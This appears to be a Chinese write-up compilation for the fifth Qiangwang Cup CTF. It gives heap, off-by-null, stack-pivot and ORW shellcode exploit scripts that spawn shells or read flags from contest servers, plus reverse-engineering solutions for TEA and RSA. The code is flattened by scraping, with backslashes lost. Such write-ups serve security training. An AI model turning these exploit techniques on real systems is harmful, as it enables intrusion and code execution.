不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。
我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。
下面的图是我这里伪造好的chunk。
伪造好也是随便利用了。
EXP
# encoding:utf-8from pwn import *libc=ELF('./libc-2.31.so')
def add(size,data='a'): p.recvuntil('>> ') p.sendline('1') p.recvuntil('ize: ') p.sendline(str(size)) p.recvuntil('content: ') p.sendline(str(data))def show(id): p.recvuntil('>> ') p.sendline('2') p.recvuntil('dex: ') p.sendline(str(id))def delete(id): p.recvuntil('>> ') p.sendline('3') p.recvuntil('dex: ') p.sendline(str(id))
while True: try: p=remote('8.140.114.72',1399) # p=process('./pwn')
for i in range(8): add(0x1f) for i in range(7): add(0x7f) add(26639) add(0x1f) add(0x720-1) add(0x70-1) add(0x7f) delete(17) add(0x1010-1) delete(20) add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201)) for i in range(7): delete(i) for i in range(7): add(0x20) add(0x1f,'x60') for i in range(7): delete(i+8) delete(19) delete(21) add(0x1018) for i in range(7): add(0x80) add(0x80,p64(0)+'x60') delete(22) add(0x147,'x00'*0x140+p64(0)) delete(21)
add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00')) delete(23) add(0xa0-1)
show(21) p.recvuntil("content: ") leak_addr=u64(p.recv(6).ljust(8,'x00')) libcbase=leak_addr-0x1ebbe0 system_addr=libcbase+libc.sym['system'] free_addr=libcbase+libc.sym['__free_hook'] delete(16)
add(0x1f,p64(0)+p64(0x31)) delete(22) delete(16) add(0x1f,'a'*0x10+p64(free_addr)) add(0x1f,'/bin/shx00') add(0x1f,p64(system_addr)) delete(22)
p.interactive() except Exception as e: pass
或者
2.[强网先锋]orw
from pwn import*import pwncontent.log_level='debug'
def add(id,size,content): p.recvuntil('choice >>n') p.sendline('1') p.recvuntil('ndex:n') p.sendline(str(id)) p.recvuntil('size:n') p.sendline(str(size)) p.recvuntil('content:n') p.send(str(content))
def delete(id): p.recvuntil('choice >>n') p.sendline('4') p.recvuntil('ndex:n') p.sendline(str(id))
shellcode='''mov r8, rdixor rsi,rsimov rdi ,r8mov rax, 2syscallmov rdi, raxmov rsi, r8mov rdx, 0x30mov rax, 0syscallmov rdi, 1mov rsi,r8mov rdx, 0x30mov rax, 1syscall'''payload=pwn.asm(shellcode)add(0,8,'./flagx00'+'n')add(-25,'a',payload+'n')
delete(0)p.interactive()
或者
3.[强网先锋]no_output
漏洞
存在栈溢出:
思路
远程存在 real_flag.txt 读入后 unk_804C080 是 0x3
在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内
输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:
-2147483648/-1
产生错误之后跳转运行栈溢出函数
EXP
from pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']
# p = process("./test")p = remote("39.105.138.97",1234)libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")elf = ELF("./test")
# gdb.attach(p,"b *0x80494c0")# gdb.attach(p,"b *0x080492E2")# gdb.attach(p,"b *0x0804925B")# raw_input()
p.send('x00'*2)sleep(0.1)p.send('./flag'.rjust(0x20,'a'))sleep(0.2)p.sendline("hello_boy")sleep(0.2)p.sendline("-2147483648")sleep(0.2)p.sendline("-1")
bss = 0x0804c07c-2
payload = 'a'*0x48+'b'*0x4# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)# payload += p32(0x0804944B)p.sendline(payload)
# gdb.attach(p,"b *0x080492E2")# raw_input()# p.send("./flagx00")p.send('x30xfe')sleep(0.2)flag = p.recv(timeout=1)print flag# if '{' not in flag:# p.close()# return 0p.interactive()
4.babypwn
offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用
libc是2.27的
保护全开。
还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。
经典增删改查。
add
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。
delete
清理的很干净
edit
edit也看着没啥,里面有个函数,进去看看。
会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。
show
输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。
加密的,好家伙
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。
最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)
这些chunk都是因为沙箱提前开的一些。
总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。
off by null我们还是有两种思路,一种是unlink,一种是off by null。
unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。
都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来
我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。
这个是利用setcontext的对比图。
从这个地方开始就开始利用堆上提前写好的内容。
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
EXP
from pwn import*# context.log_level='debbug'elf=ELF('babypwn')libc=ELF('./libc.so.6')p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})#p=process('./babypwn')def add(size): p.recvuntil('>>> n') p.sendline('1') p.recvuntil('size:') p.sendline(str(size))
def edit(id,content): p.recvuntil('>>> n') p.sendline('3') p.recvuntil('index:') p.sendline(str(id)) p.recvuntil('content:') p.send(str(content))def delete(id): p.recvuntil('>>> n') p.sendline('2') p.recvuntil('index:') p.sendline(str(id))def show(id): p.recvuntil('>>> n') p.sendline('4') p.recvuntil('index:') p.sendline(str(id))
add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)
for i in range(9,3,-3): delete(i)for i in range(7): delete(10+i)
delete(1)delete(0)
add(0x108)edit(2,'b'*0xf0+p64(0)+p64(0x21))edit(3,(p64(0)+p64(0x21))*7)edit(0,'b'*0x108)edit(0,'b'*0x100+p64(0x220))
delete(3)delete(2)
add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)
add(0x200)add(0x100)delete(6)delete(5)delete(3)delete(0)
edit(8,'a'*0x108+p64(0x110)+'x18x80')edit(9,p64(0)+'x60xe7')add(0x100)add(0x100)add(0x100)payload=p64(0xfbad1887)+p64(0)*3+'x00'edit(5,payload)p.recvuntil('x00'*8)lead_addr=u64(p.recv(8))libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)delete(4)delete(1)delete(0)
free_addr=libc_base+libc.sym['__free_hook']edit(8,'a'*0x108+p64(0x110)+p64(free_addr))
add(0x100)add(0x100)add(0x100)
gadget=libc_base+0x520A5open_addr=libc_base+libc.sym['open']read_addr=libc_base+libc.sym['read']write_addr=libc_base+libc.sym['write']poprdi=libc_base+0x000000000002155fpoprsi=libc_base+0x0000000000023e6apoprdx=libc_base+0x0000000000001b96flag=free_addr+0xb0add=free_addr
payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)
edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')
# gdb.attach(p)# raw_input()delete(1)
p.interactive()
或者
import osimport sysimport subprocessfrom pwn import *
context.arch = "amd64"context.log_level = "debug"
elf_addr = "./babypwn" pro_libc = "./libc.so.6"
# sh = remote("39.105.130.158",8888)
sh = process(elf_addr)elf = ELF(elf_addr)
def add(size): sh.recvuntil(">> \n") sh.sendline("1") sh.recvuntil("size:\n") sh.sendline(str(size))def show(idx): sh.sendlineafter(">> \n","4") sh.sendlineafter("index:\n",str(idx))def edit(idx,content): sh.sendlineafter(">> \n","3") sh.sendlineafter("index:\n",str(idx)) sh.sendlineafter("content:\n",content)def free(idx): sh.sendlineafter(">> \n","2") sh.sendlineafter("index:\n",str(idx))
def encode(a1): d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4
d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4 return hex(a1)[2:]
def decode_1(a): log.progress("decode_1") for i in range(0x0, 0xff): head = chr(i)+"\x7f\x00\x00" if encode(u32(head))==str(a, encoding='utf-8'): success("ok~ decode_1") return head
def decode_2(a): log.progress("decode_2") for i1 in range(0x0, 0xff): for i2 in range(0, 0xff): for i3 in range(2, 0xff, 0x10): last = "\x10"+chr(i3)+chr(i2)+chr(i1) if encode(u32(last)) ==str(a, encoding='utf-8'): success("ok~ decode_2") return last
# off by null; overlaping 堆块向前合并add(0xf8) #0for i in range(7): #1-7 add(0xf8)
add(0x108) #8add(0x108) #9for i in range(1,8): #1-7 free(i)free(0)
edit(8, b"a"*0x108)edit(8, b"b"*0x100+p64(0x910))edit(9, b"\x00"*0xf8+p64(0x11))free(9)
for i in range(7): # 0-6 add(0xf8)add(0x200) # idx_7 have idx_0-1
show(7)a2 = sh.recv(8)sh.recvuntil("\n")a1 = sh.recv(8)success("a1 => %s",a1)success("a2 => %s",a2)print(encode(0x7fff))head = decode_1(a1)last = decode_2(a2)main_arena1488 = u64(last+head)success("main_arena96 => 0x%x",main_arena1488)libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]success("libc_base => 0x%x",libc_base)free_hook = libc_base+libc.sym["__free_hook"]setcontext = libc_base+libc.sym["setcontext"]
free(5)free(6)payload = flat([ "\x00"*0xf8, p64(0x101)+p64(free_hook-8)])edit(7, payload)
add(0xf8)add(0xf8)shellcode = """ push 1 dec byte ptr [rsp] mov rax, 0x7478742e67616c66 push rax /* call open('rsp', 'O_RDONLY', 0) */ push 2 /* 2 */ pop rax mov rdi, rsp xor esi, esi /* O_RDONLY */ cdq /* rdx=0 */ syscall /* call sendfile(1, 'rax', 0, 0x7fffffff) */ mov r10d, 0x7fffffff mov rsi, rax push 40 /* 0x28 */ pop rax push 1 pop rdi cdq /* rdx=0 */ syscall"""payload2 = flat(["/bin/sh\x00", p64(setcontext + 53), p64(free_hook + 0x10), asm(shellcode)])
edit(6, payload2)
frame = SigreturnFrame()frame.rsp = free_hook + 0x8frame.rdi = (free_hook) & 0xfffffffffffff000frame.rsi = 0x1000frame.rdx = 7frame.rip = libc_base+libc.sym['mprotect']edit(7, bytes(frame))free(7)
sh.interactive()
5.[强网先锋]shellcode
写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。
https://www.codenong.com/cs105236336/
https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/
参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符
EXP
# encoding:utf-8from pwn import *from ae64 import AE64# context.log_level = 'debug'# context.terminal = ['tmux','sp','-h']
file = context.binary = './shellcode'obj = AE64()
append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''/*fp = open("flag")*/mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax
/* read(fp,buf,0x70) *//*mov eax,3*//*push 0x70*//*push ebx*//*push 3*//*int 0x80*/'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall
'''shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''# 0x40404040 为32位shellcode地址shellcode_mmap = '''/*mmap(0x40404040,0x7e,7,34,0,0)*/push 0x40404040 /*set rdi*/pop rdi
push 0x7e /*set rsi*/pop rsi
push 0x40 /*set rdx*/pop raxxor al,0x47push raxpop rdx
push 0x40 /*set r8*/pop raxxor al,0x40push raxpop r8
push rax /*set r9*/pop r9
/*syscall*/push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*//*pop rcx*/pop r10
push 0x40/*set rax*/pop raxxor al,0x49syscall'''shellcode_read = '''/*read(0,0x40404040,0x70)*/push 0x40404040pop rsipush 0x40pop raxxor al,0x40push raxpop rdixor al,0x40push 0x70pop rdxpush rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70syscall'''
shellcode_retfq = '''push rbxpop rax
xor al,0x40
push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush raxretfq'''
shellcode = ''shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += append
shellcode += shellcode_retfqshellcode += append
sc = obj.encode(asm(shellcode),'rbx')#p=process(file)
# gdb.attach(p,"b *0x40026D")# gdb.attach(p,"b *0x7ffff7ff9102")# raw_input()
# p.send(sc)# pause()# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)# print p.recv()# p.interactive()
def pwn(p, index, ch): #gdb.attach(p,"b *0x40026D") #pause() p.send(sc)
shellcode='' if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode)) #print p.recv() #p.interactive()index = 0a = []
while True: for ch in range(20, 127): p = remote('39.105.137.118','50050') # p=process(file) pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: a.append(ch) print("".join([chr(i) for i in a])) break else: print("".join([chr(i) for i in a])) break index = index + 1
print("".join([chr(i) for i in a]))
6.no output(栈迁移):
你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~
检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?
然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错
说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./test')
#sh=remote('39.105.138.97',1234)
elf=ELF("./test")
libc=elf.libc
context.log_level='debug'
context.arch='i386'
leave_ret=0x80491a5
ret_addr=0x0804900e
read_100_addr=0x08049236
def pwn():
sh.sendline('\x00'*1)
print str(proc.pidof(sh))
#gdb.attach(sh, '''b *0x080492a8''')
payload=p8(0)*2
#pause()
sh.sendline(payload)
sleep(1)
sh.sendline(str(-2147483648))
sh.sendline(str(-1))
payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)
payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)
sh.sendline(payload1)
#pause()
sh.sendline(payload2)
#pause()
sh.send(p16(0x4c90))
read_addr=u32(sh.recv())
log.success("read addr: "+hex(read_addr))
libc.address=read_addr-libc.sym['read']
log.success("system addr: "+hex(libc.sym['system']))
libc_base=read_addr-libc.sym['read']
sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
sh.interactive()
while True:
#sh=process('./test')
sh=remote('39.105.138.97',1234)
try:
pwn()
except:
sh.close()
7.pipeline
libc2.31
堆溢出
配合对风水直接修改pipe->data, 实现任意地址修改,
漏洞主要是写入data的时候v1是有符号16位,
后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,
这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写
from pwn import *context.log_level = 'debug'context.terminal = ["tmux","new-window"]p = remote("59.110.173.239", 239)#p = process("./pipeline"l)libc = ELF("./libc-2.31.so")def new(): p.recvuntil(">> ") p.sendline("1")def edit(index, size): p.recvuntil(">> ") p.sendline("2") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("offset: ") p.sendline(str(0)) p.recvuntil("size: ") p.sendline(str(size))def destroy(index): p.recvuntil(">> ") p.sendline("3") p.recvuntil("index: ") p.sendline(str(index))def append(index, size, data): p.recvuntil(">> ") p.sendline("4") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("size: ") p.sendline(str(size)) p.recvuntil("data: ") p.sendline(data)def show(index): p.recvuntil(">> ") p.sendline("5") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("data: ")
new()new()new()edit(0,0x68)edit(1,0x68)edit(0,0)edit(1,0)
edit(1,0x68)
edit(0,0x450)edit(1,0x78)edit(0,0)edit(0,0x18)show(0)#leak libclibc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400#getshellnew()payload = b'b'*0x18 + p64(0x21)payload += p64(libc_base + libc.symbols["__free_hook"])payload += p32(0) + p32(0x100)append(0, 0x80000100, payload)
#gdb.attach(p)append(3, 0x20, p64(libc_base + libc.symbols["system"]))append(0, 0x20, '/bin/sh\x00')edit(0,0)log.info("libc_base------------------>"+hex(libc_base))p.interactive()
RE
1.ezmath
import codecst=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874]div = 2.718281828459045def c(n): t_int = int(div // n) print(hex(t_int)) if abs(t_int * n - div) < abs((t_int - 1) * n - div): t_int -=1 t_hex = hex(t_int)[2:] t_chr = codecs.decode(t_hex,'hex') return t_chr[::-1].decode()
for i in t: print(c(i),end='n')
2.LongTimeAgo
def xt_dec(num, enc, k): value0 = enc[0] value1 = enc[1] data = 0x70C88617 sum = 0xE6EF3D20 for i in range(num): value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3]) value1 &= 0xffffffff sum += data value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3]) value0 &= 0xffffffff return (value0, value1)def t_dec(enc, k): value0 = enc[0] value1 = enc[1] sum = 0xa6a53780 data = 0x3D3529BC for i in range(32): value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3]) value1 &= 0xffffffff value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1]) value0 &= 0xffffffff sum -= data return (value0, value1)encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]for i in range(0, 4, 2): encode[i] ^= 0xfd encode[i + 1] ^= 0x1fdfor i in range(4, 8, 2): encode[i] ^= 0x3fd encode[i + 1] ^= 0x7fdk = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]result = ''for i in range(0, 4, 2): a = xt_dec(32, encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:]for i in range(4, 8, 2): a = t_dec(encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:]print("QWB{" + result.upper() + "}")
3.StandOnTheGiants
题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:
v3 = env; v4 = 0; v20 = a3; v5 = (*env)->GetStringUTFChars(env, a3, 0); v6 = strlen(v5); v8 = malloc(2 * v6 + 4); v9 = v8; while ( v6 != v4 ) { hex_byte_52318(v9, -1, v7, v5[v4]); v9 += 2; ++v4; } ctx = BN_CTX_new_5235C(); BN_CTX_start_5249C(ctx); bn_m = BN_CTX_get_5264C(ctx); BN_set_5BB08(&bn_m, v8); free(v8); bn_N = BN_CTX_get_5264C(ctx); bn_e = BN_CTX_get_5264C(ctx); _aeabi_memcpy8(temp, byte_2C6B0, 0xD1); for ( i = 0; i != 0xD1; ++i ) temp[i] ^= 0x3Du; BN_set_5BB08(&bn_N, temp); _aeabi_memclr8(temp, 209); v12 = 0; v21 = 0; v22 = 0; while ( v12 != 6 ) *(&v21 + v12++) ^= 0x30u; ++BYTE1(v21); ++BYTE1(v22); BN_set_5BB08(&bn_e, &v21); v21 = 0; v22 = 0; bn_c = BN_CTX_get_5264C(ctx); BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx); v14 = sub_565A8(bn_c); v15 = malloc((v14 + 7) / 8); v16 = sub_56EB8(bn_c, v15); BN_CTX_end_525B8(ctx); BN_CTX_free_523E8(ctx); v17 = calloc(3u, v16); base64_52044(v15, v17, v16, 0); free(v15); v18 = strcmp( "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG" "+/lmqEysrTdSD+eP+moP+l?+Np/oK=", v17); free(v17); (*v3)->ReleaseStringUTFChars(v3, v20, v5); result = _stack_chk_guard; if ( _stack_chk_guard == v27 ) result = v18; return result;
静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:
# -*- coding:utf-8 -*-import base64import gmpy2import string,itertools
t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12't2 = string.uppercase+string.lowercase+string.digits+'+/'def main():# a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, # 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, # 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, # 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, # 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, # 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, # 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, # 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, # 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, # 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, # 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, # 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, # 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, # 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, # 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, # 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, # 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, # 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, # 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, # 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, # 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]# b = map(lambda x:chr(x^0x3d),a)# print(''.join(b)) n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51 p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711 q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367 assert(n==p*q) e = 0x10001 s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK=' t = string.maketrans(t1,t2) ite1 = itertools.product('+1',repeat=10)
idx1 = [6,25,26,45,77,110,123,126,130,133] idx2 = [22,43,59,74] for it1 in ite1: ite2 = itertools.product('-2',repeat=4) for it2 in ite2: l = list(s) for i in range(10): l[idx1[i]] = it1[i] for i in range(4): l[idx2[i]] = it2[i] c = string.translate(''.join(l),t) d = gmpy2.invert(e,(p-1)*(q-1)) tmp = base64.b64decode(c).encode('hex') tmp = int(tmp,16) m = gmpy2.powmod(tmp,d,n) tmp = hex(m)[2:].replace('L','') if len(tmp) % 2 != 0: tmp = '0'+tmp if len(hex(m)) < 100: print(c,hex(m)[2:].replace('L','').decode('hex')) exit()
if __name__ == '__main__': main()
参考文献:
https://www.anquanke.com/post/id/244824#h3-13
https://blog.csdn.net/weixin_39190897/article/details/118066125
第五届强网杯全国网络安全挑战赛writeup相关推荐
- 第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto
文章目录 Crypto1 Crypto2 Crypto1 题目: n=96722669749951212913756678234358651184134068407812470434435916603 ...
- 第四届“强网杯”全国网络安全挑战赛_部分WP
前言: 全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下. Funhash <?php include 'conn.php'; highlight_file("i ...
- [ CTF ]【天格】战队WriteUp-第六届“强网杯”全国安全挑战赛(初赛)
WriteUp推荐 文章开始前,我还是想向大家推荐一下其他战队的师傅写的WriteUp. 在本人允许的时间后发布这篇文章以后,也有不少师傅相继发出了WriteUp,拜读了各位师傅的WriteUp后学习 ...
- 第五届“强网杯”青少年专项赛盛大开赛
